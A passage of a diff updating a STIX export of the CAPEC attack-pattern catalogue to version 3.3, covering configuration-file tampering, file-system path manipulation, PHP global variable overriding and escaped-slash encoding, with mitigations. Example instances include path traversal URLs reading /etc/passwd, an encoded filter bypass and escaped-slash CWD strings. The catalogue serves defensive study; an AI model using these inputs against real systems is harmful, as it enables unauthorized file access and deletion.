"attack-pattern--649abc91-f615-4c9e-91c9-9e66131e2d78" + }, + { + "id": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb", "name": "Manipulating Writeable Configuration Files", "description": "Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -42806,7 +47622,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -42878,124 +47694,133 @@ "\n The BEA Weblogic server uses a config.xml file to store configuration data. If this file is not properly protected by the system access control, an attacker can write configuration information to redirect server output through system logs, database connections, malicious URLs and so on. Access to the Weblogic server may be from a so-called Custom realm which manages authentication and authorization privileges on behalf of user principals. Given write access, the attacker can insert a pointer to a custom realm jar file in the config.xml\n < CustomRealmConfigurationData=\"java.util.Properties\"Name=\"CustomRealm\"RealmClassName=\"Maliciousrealm.jar\"/>\n \n The main issue with configuration files is that the attacker can leverage all the same functionality the server has, but for malicious means. Given the complexity of server configuration, these changes may be very hard for administrators to detect.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--390b777d-a7f5-499e-b105-e88b8b537dc7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--390b777d-a7f5-499e-b105-e88b8b537dc7", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb" }, { + "id": "course-of-action--5f72dfc6-fc40-4c50-b43a-fb3f8613c890", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-75-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Backup copies of all configuration files", - "type": "course-of-action", - "id": "course-of-action--5f72dfc6-fc40-4c50-b43a-fb3f8613c890" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1b2f0cb4-7979-41a9-b066-52623efd9be1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1b2f0cb4-7979-41a9-b066-52623efd9be1", "source_ref": "course-of-action--5f72dfc6-fc40-4c50-b43a-fb3f8613c890", "relationship_type": "mitigates", "target_ref": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb" }, { + "id": "course-of-action--aa2dbad2-1557-43ad-8ca5-6e87d044a038", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-75-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Integrity monitoring for configuration files", - "type": "course-of-action", - "id": "course-of-action--aa2dbad2-1557-43ad-8ca5-6e87d044a038" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d3b76047-8e3c-4ad6-890e-ee9b51ab15c6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d3b76047-8e3c-4ad6-890e-ee9b51ab15c6", "source_ref": "course-of-action--aa2dbad2-1557-43ad-8ca5-6e87d044a038", "relationship_type": "mitigates", "target_ref": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb" }, { + "id": "course-of-action--544a1da1-171a-4152-aaf8-cafc91c6ffcd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-75-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Enforce audit logging on code and configuration promotion procedures.", - "type": "course-of-action", - "id": "course-of-action--544a1da1-171a-4152-aaf8-cafc91c6ffcd" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0f6c14a3-09ae-4833-b73c-17e14fa0ab03", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0f6c14a3-09ae-4833-b73c-17e14fa0ab03", "source_ref": "course-of-action--544a1da1-171a-4152-aaf8-cafc91c6ffcd", "relationship_type": "mitigates", "target_ref": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb" }, { + "id": "course-of-action--47fcab1d-3b96-49c9-ba5c-28f7cc396ddc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-75-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Load configuration from separate process and memory space, for example a separate physical device like a CD", - "type": "course-of-action", - "id": "course-of-action--47fcab1d-3b96-49c9-ba5c-28f7cc396ddc" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6f3ed3dd-3d16-41fa-9408-5e346f652fed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6f3ed3dd-3d16-41fa-9408-5e346f652fed", "source_ref": "course-of-action--47fcab1d-3b96-49c9-ba5c-28f7cc396ddc", "relationship_type": "mitigates", "target_ref": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb" }, { + "id": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62", "name": "Manipulating Web Input to File System Calls", "description": "An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -43003,7 +47828,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -43107,101 +47932,109 @@ "x_capec_example_instances": [ "\n The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file.\n http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd\n However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string.\n Then an attacker creates special payloads to bypass this filter:\n http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd\n When the application gets this input string, it will be the desired vector by the attacker.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Fingerprinting of the operating system: In order to create a valid file injection, the attacker needs to know what the underlying OS is.

    2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages

  2. Survey the Application to Identify User-controllable Inputs: The attacker surveys the target application to identify all user-controllable inputs, possibly as a valid and authenticated user

    3. Techniques
    Spider web sites for all available links, entry points to the web site.
    Manually explore application and inventory all application inputs

Experiment

  1. Vary inputs, looking for malicious results: Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input containing the path of the targeted file or other file system control syntax to be passed to the application

    2. Techniques
    Inject context-appropriate malicious file path using network packet injection tools (netcat, nemesis, etc.)
    Inject context-appropriate malicious file path using web test frameworks (proxies, TamperData, custom programs, etc.) or simple HTTP requests
    Inject context-appropriate malicious file system control syntax

Exploit

  1. Manipulate files accessible by the application: The attacker may steal information or directly manipulate files (delete, copy, flush, etc.)

    2. Techniques
    The attacker injects context-appropriate malicious file path to access the content of the targeted file.
    The attacker injects context-appropriate malicious file system control syntax to access the content of the targeted file.
    The attacker injects context-appropriate malicious file path to cause the application to create, delete a targeted file.
    The attacker injects context-appropriate malicious file system control syntax to cause the application to create, delete a targeted file.
    The attacker injects context-appropriate malicious file path in order to manipulate the meta-data of the targeted file.
    The attacker injects context-appropriate malicious file system control syntax in order to manipulate the meta-data of the targeted file.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--418adbc1-d3a0-4e06-b39d-4a47ced3edbb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--418adbc1-d3a0-4e06-b39d-4a47ced3edbb", "source_ref": "course-of-action--10e0bdfb-cc84-4788-8d10-225b6e61f135", "relationship_type": "mitigates", "target_ref": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62" }, { + "id": "course-of-action--5606d417-4865-4533-8deb-e39c901f209e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-76-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Ensure all input is validated, and does not contain file system commands", - "type": "course-of-action", - "id": "course-of-action--5606d417-4865-4533-8deb-e39c901f209e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--33951a4d-6ab2-4bdb-854f-4f2794baa0aa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--33951a4d-6ab2-4bdb-854f-4f2794baa0aa", "source_ref": "course-of-action--5606d417-4865-4533-8deb-e39c901f209e", "relationship_type": "mitigates", "target_ref": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62" }, { + "id": "relationship--7822e43d-f894-41ac-88d5-41b2c0b4ef6e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7822e43d-f894-41ac-88d5-41b2c0b4ef6e", "source_ref": "course-of-action--16c78c78-dace-4fe3-ac4a-aaf188d14af5", "relationship_type": "mitigates", "target_ref": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62" }, { + "id": "course-of-action--3e8c9442-1e01-4fc2-9f90-b009bf6612fa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-76-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: For interactive user applications, consider if direct file system interface is necessary, instead consider having the application proxy communication.", - "type": "course-of-action", - "id": "course-of-action--3e8c9442-1e01-4fc2-9f90-b009bf6612fa" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--80063d3f-3b3f-4552-bbbe-499aabc86961", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--80063d3f-3b3f-4552-bbbe-499aabc86961", "source_ref": "course-of-action--3e8c9442-1e01-4fc2-9f90-b009bf6612fa", "relationship_type": "mitigates", "target_ref": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62" }, { + "id": "relationship--d2b1d3bb-89ce-4615-be0c-c35eed6ad012", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d2b1d3bb-89ce-4615-be0c-c35eed6ad012", "source_ref": "course-of-action--8fb32cf0-80fd-4e8b-91c6-0908041d5b6e", "relationship_type": "mitigates", "target_ref": "attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62" }, { + "id": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0", "name": "Manipulating User-Controlled Variables", "description": "This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -43209,7 +48042,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -43279,7 +48112,7 @@ ], "x_capec_skills_required": { "Low": "The malicious user can easily try some well-known global variables and find one which matches.", - "Medium": "The attacker can use automated tools to probe for variables that she can control." + "Medium": "The attacker can use automated tools to probe for variables that they can control." }, "x_capec_consequences": { "Integrity": [ @@ -43305,107 +48138,115 @@ "x_capec_example_instances": [ "\n Attack Example: PHP Global Variables\n PHP is a study in bad security. The main idea pervading PHP is \"ease of use,\" and the mantra \"don't make the developer go to any extra work to get stuff done\" applies in all cases. This is accomplished in PHP by removing formalism from the language, allowing declaration of variables on first use, initializing everything with preset values, and taking every meaningful variable from a transaction and making it available. In cases of collision with something more technical, the simple almost always dominates in PHP.\n One consequence of all this is that PHP allows users of a Web application to override environment variables with user-supplied, untrusted query variables. Thus, critical values such as the CWD and the search path can be overwritten and directly controlled by a remote anonymous user.\n Another similar consequence is that variables can be directly controlled and assigned from the user-controlled values supplied in GET and POST request fields. So seemingly normal code like this, does bizarre things:\n while($count < 10){// Do something$count++;}\n Normally, this loop will execute its body ten times. The first iteration will be an undefined zero, and further trips though the loop will result in an increment of the variable $count. The problem is that the coder does not initialize the variable to zero before entering the loop. This is fine because PHP initializes the variable on declaration. The result is code that seems to function, regardless of badness. The problem is that a user of the Web application can supply a request such as\n GET /login.php?count=9\n and cause $count to start out at the value 9, resulting in only one trip through the loop. Yerg.\n Depending on the configuration, PHP may accept user-supplied variables in place of environment variables. PHP initializes global variables for all process environment variables, such as $PATH and $HOSTNAME. These variables are of critical importance because they may be used in file or network operations. If an attacker can supply a new $PATH variable (such as PATH='/var'), the program may be exploitable.\n PHP may also take field tags supplied in GET/POST requests and transform them into global variables. This is the case with the $count variable we explored in our previous example.\n Consider another example of this problem in which a program defines a variable called $tempfile. An attacker can supply a new temp file such as $tempfile = \"/etc/passwd\". Then the temp file may get erased later via a call to unlink($tempfile);. Now the passwd file has been erased--a bad thing indeed on most OSs.\n Also consider that the use of include() and require() first search $PATH, and that using calls to the shell may execute crucial programs such as ls. In this way, ls may be \"Trojaned\" (the attacker can modify $PATH to cause a Trojan copy of ls to be loaded). This type of attack could also apply to loadable libraries if $LD_LIBRARY_PATH is modified.\n Finally, some versions of PHP may pass user data to syslog as a format string, thus exposing the application to a format string buffer overflow.See also: File upload allows arbitrary file read by setting hidden form variables to match internal variable names (CVE-2000-0860)" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker communicates with the application server using a thin client (browser) or thick client.

Experiment

  1. While communicating with the server, the attacker finds that they can control and override a variable consumed by the application server.

Exploit

  1. The attacker overrides the variable and influences the normal behavior of the application server.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--01f15bc6-e25d-4388-8a84-c6f82d7a7378", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-77-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Do not allow override of global variables and do Not Trust Global Variables.\n If the register_globals option is enabled, PHP will create global variables for each GET, POST, and cookie variable included in the HTTP request. This means that a malicious user may be able to set variables unexpectedly. For instance make sure that the server setting for PHP does not expose global variables.\n ", - "type": "course-of-action", - "id": "course-of-action--01f15bc6-e25d-4388-8a84-c6f82d7a7378" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--593062e2-612e-46ce-8739-0d2b1b15f720", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--593062e2-612e-46ce-8739-0d2b1b15f720", "source_ref": "course-of-action--01f15bc6-e25d-4388-8a84-c6f82d7a7378", "relationship_type": "mitigates", "target_ref": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0" }, { + "id": "course-of-action--35ecc67f-d191-49d1-b51d-512ab4874d6b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-77-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary.", - "type": "course-of-action", - "id": "course-of-action--35ecc67f-d191-49d1-b51d-512ab4874d6b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6d6ce1ff-fa90-41cf-86a8-911f793e6838", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6d6ce1ff-fa90-41cf-86a8-911f793e6838", "source_ref": "course-of-action--35ecc67f-d191-49d1-b51d-512ab4874d6b", "relationship_type": "mitigates", "target_ref": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0" }, { + "id": "course-of-action--fdbec66f-5081-4d39-9732-af19bf458d7d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-77-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Separate the presentation layer and the business logic layer. Variables at the business logic layer should not be exposed at the presentation layer. This is to prevent computation of business logic from user controlled input data.", - "type": "course-of-action", - "id": "course-of-action--fdbec66f-5081-4d39-9732-af19bf458d7d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3c40eaa0-2cde-4309-b3c3-79aebcc2ada3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3c40eaa0-2cde-4309-b3c3-79aebcc2ada3", "source_ref": "course-of-action--fdbec66f-5081-4d39-9732-af19bf458d7d", "relationship_type": "mitigates", "target_ref": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0" }, { + "id": "course-of-action--9fa19f3a-821e-4faa-b728-a6d30e37b6c2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-77-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use encapsulation when declaring your variables. This is to lower the exposure of your variables.", - "type": "course-of-action", - "id": "course-of-action--9fa19f3a-821e-4faa-b728-a6d30e37b6c2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a3e969df-fa7a-479d-ba25-c6b31da5cffa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a3e969df-fa7a-479d-ba25-c6b31da5cffa", "source_ref": "course-of-action--9fa19f3a-821e-4faa-b728-a6d30e37b6c2", "relationship_type": "mitigates", "target_ref": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0" @@ -43413,29 +48254,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-77-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should be rejected by the program.", + "description": "Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should be rejected by the program.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--bd24a31c-a39e-4094-b497-b4325dec240c" + "id": "course-of-action--3869586b-ef26-4f47-b6bf-e4aee5ac7dea" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ced77711-c0d9-4917-a280-bb608253b329", - "source_ref": "course-of-action--bd24a31c-a39e-4094-b497-b4325dec240c", + "id": "relationship--5b6076ab-c2e1-428a-8d0f-b7f0642e9811", + "source_ref": "course-of-action--3869586b-ef26-4f47-b6bf-e4aee5ac7dea", "relationship_type": "mitigates", "target_ref": "attack-pattern--5e4a268e-f89f-445a-aa42-395922f56bf0" }, { + "id": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f", "name": "Using Escaped Slashes in Alternate Encoding", "description": "This attack targets the use of the backslash in alternate encoding. An attacker can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the attacker tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -43443,7 +48287,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -43551,32 +48395,34 @@ "\n For example, the byte pair \\0 might result in a single zero byte (a NULL) being sent. Another example is \\t, which is sometimes converted into a tab character. There is often an equivalent encoding between the back slash and the escaped back slash. This means that \\/ results in a single forward slash. A single forward slash also results in a single forward slash. The encoding looks like this:\n / yields /\\/ yields /\n ", "\n Attack Example: Escaped Slashes in Alternate Encodings\n An attack leveraging this pattern is very simple. If you believe the target may be filtering the slash, attempt to supply \\/ and see what happens. Example command strings to try out include\n CWD ..\\/..\\/..\\/..\\/winnt\n which converts in many cases to\n CWD ../../../../winnt\n To probe for this kind of problem, a small C program that uses string output routines can be very useful. File system calls make excellent testing fodder. The simple snippet\n int main(int argc, char* argv[]){puts(\"\\/ \\\\ \\? \\. \\| \");return 0;\n }\n produces the output\n / \\ ? . |\n Clearly, the back slash is ignored, and thus we have hit on a number of alternative encodings to experiment with. Given our previous example, we can extend the attack to include other possibilities:\n CWD ..\\?\\?\\?\\?\\/..\\/..\\/..\\/winntCWD \\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/winntCWD ..\\|\\|\\|\\|\\/..\\/..\\/..\\/winnt\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker can send input data to the host target (e.g., via http request or command line request

  2. The attacker craft malicious input data which includes escaped slashes. The attacker may need multiple attempts before finding a successful combination.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--380b117a-6169-466d-a7a6-7d6f047e19a0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-78-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Verify that the user-supplied data does not use backslash character to escape malicious characters.", - "type": "course-of-action", - "id": "course-of-action--380b117a-6169-466d-a7a6-7d6f047e19a0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9cb4ae43-cf9a-40ac-a774-6c54684220cf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9cb4ae43-cf9a-40ac-a774-6c54684220cf", "source_ref": "course-of-action--380b117a-6169-466d-a7a6-7d6f047e19a0", "relationship_type": "mitigates", "target_ref": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f" @@ -43584,130 +48430,141 @@ { "created_by_ref": 